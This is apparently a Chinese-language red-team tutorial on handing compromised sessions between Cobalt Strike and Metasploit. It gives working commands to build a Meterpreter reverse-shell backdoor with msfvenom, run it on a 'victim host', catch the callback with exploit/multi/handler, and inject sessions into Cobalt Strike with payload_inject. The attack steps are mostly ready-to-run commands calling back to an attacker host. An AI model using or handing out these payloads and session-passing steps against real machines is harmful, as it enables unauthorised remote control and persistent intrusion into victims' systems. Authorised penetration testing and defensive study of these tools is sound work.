0x01 CS与MSF
CobaltStrike(简称CS)是一款美国Red Team开发的渗透测试神器。Armitage是一个MetasploitFramework(简称MSF)的图形化界面工具,而Cobaltstrike大家可以理解其为Armitage的商业版。
早期版本CobaltSrtike依赖MetasploitFramework框架,而现在CobaltStrike已经不再使用MetasploitFramework而是作为单独的平台使用,它分为客户端(Client)与服务端(Teamserver),服务端是一个,客户端可以有多个,团队可进行分布式协团操作。
CobalStrike 与 MetasploitFramework 均是渗透测试中不可缺少的利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动,各自相互依托,从而提升渗透的效率。
0x02 CS传递会话到MSF
为了方便演示操作,将CS的服务端与MSF服务都设置在同一个IP上。
1. CS操作
先在CobaltStrike上新建一个监听器(Beacon HTTP)
这里的IP端口号指CS服务端
利用CobaltStrike生成一个后门文件
将后门文件放在受害主机中执行,之后受害主机就会上线到CS了
至此,CobaltStrike获得到了一个会话
2. MSF操作
在MetasploitFramework上开启一个meterpreter监听(reverse_http),用于接收CobaltStrike传递过来到会话
use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # msf所在主机的ip set lport 4444 # msf所在主机自定义端口号 run
3. 会话传递
先在CobaltStrike上创建一个监听(Foreign HTTP),IP 和 端口号需要与MetasploitFramework中设置监听的保持一致
然后在CobaltStrike上选中要传递到会话,点击右键选择增加会话(Spawn) ,再选择刚刚创建的监听(Foreign HTTP)
上述步骤完成后,在MetasploitFramework中就可以看到CobaltStrike传递过来到会话了
0x03 MSF传递会话到CS
1. CS操作
在CobaltStrike上新建一个监听器(Beacon HTTP)
2. MSF操作
先通过msfvenom生成后门文件
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.158.129 LPORT=7777 -f exe > msfshell.exe
这里的IP端口号指MSF服务所在主机
使用msfconsole启动MetasploitFramework,设置meterpreter监听用于接收后门文件反弹到shell
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.158.129 # msf所在主机的ip set lport 7777 # msf所在主机自定义端口号,与后门文件中的一致 run
将后门文件放置受害主机运行后,MetasploitFramework上会获得一个meterpreter的shell
3. 会话传递
将获取到的MetasploitFramework会话挂至后台,会看到一个会话sessions id
background
调用 payload_inject 模块,将指定会话session id注入到新到CobaltStrike会话中
use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set lhost 192.168.158.129 # CS服务端IP set lport 80 # CS服务端监听的端口号 set DisablePayloadHandler True set PrependMigrate True set session 4 # 会话id run
上述步骤完成后,在CobaltStrike中就可以看到MetasploitFramework传递过来到会话了